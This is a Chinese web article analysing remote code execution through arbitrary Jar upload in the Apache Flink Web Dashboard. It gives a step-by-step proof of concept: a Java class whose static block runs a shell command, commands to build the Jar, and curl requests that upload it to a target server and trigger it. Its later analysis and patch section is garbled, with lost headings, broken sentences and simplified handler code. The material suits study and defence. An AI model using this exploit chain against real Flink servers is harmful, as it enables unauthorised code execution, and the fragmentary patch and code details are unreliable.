您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Apache Flink任意Jar包上传致RCE漏洞的示例分析
## 漏洞背景
Apache Flink作为流行的分布式流处理框架,其Web Dashboard提供作业提交功能。在特定版本中(如1.9.0-1.11.2),由于未对上传的Jar包进行充分安全校验,攻击者可构造恶意Jar包实现远程代码执行(RCE)。
## 漏洞原理
### 核心问题
1. **未校验Jar合法性**:Dashboard仅检查文件扩展名为`.jar`,未验证文件内容结构
2. **动态加载机制**:通过`/jars/upload`接口上传的Jar可被`/jars/:jarid/run`触发执行
3. **权限过高**:默认以Flink服务进程权限(通常为root/Administrator)执行
### 攻击路径
恶意Jar上传 -> 服务端存储 -> 通过REST API触发 -> 动态加载恶意类 -> RCE
## 漏洞复现
### 环境搭建
```bash
# 使用漏洞版本Flink(如1.11.0)
docker run -p 8081:8081 flink:1.11.0-scala_2.11
// EvilObject.java
public class EvilObject {
static {
try {
Runtime.getRuntime().exec("touch /tmp/flink_rce_success");
} catch (Exception e) { /* 静默处理 */ }
}
}
编译后生成包含静态代码块的Jar包:
javac EvilObject.java
jar cvf evil.jar EvilObject.class
上传Jar包
curl -X POST -F "jarfile=@evil.jar" http://target:8081/jars/upload
返回:
{"filename":"evil.jar","status":"success"}
触发执行
curl -X POST http://target:8081/jars/evil.jar/run
此时服务端已执行touch /tmp/flink_rce_success
org.apache.flink.runtime.rest.handler.job.JarUploadHandler
:
public class JarUploadHandler extends AbstractRestHandler<..., FileUpload> {
protected void handleRequest(...) throws Exception {
// 仅检查文件名后缀
if (!fileUpload.getFile().getName().endsWith(".jar")) {
throw new RuntimeException("Only Jar files allowed");
}
// 直接保存文件
fileUpload.getFile().renameTo(new File(jarDir, filename));
}
}
JarRunHandler
调用PackagedProgramUtils.createProgram()
URLClassLoader
动态加载用户Jar官方补丁:
org.apache.flink
包的用户Jar临时缓解:
# conf/flink-conf.yaml
web.upload.dir: "" # 禁用文件上传
web.submit.enable: false # 禁用作业提交
该漏洞暴露了大数据组件在便捷性与安全性间的平衡问题。开发人员应始终对用户上传内容保持零信任原则,通过代码签名、沙箱环境等多层防御确保系统安全。 “`
注:实际漏洞利用可能因环境配置有所不同,本文仅作技术研究用途。所有测试应在授权环境下进行。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。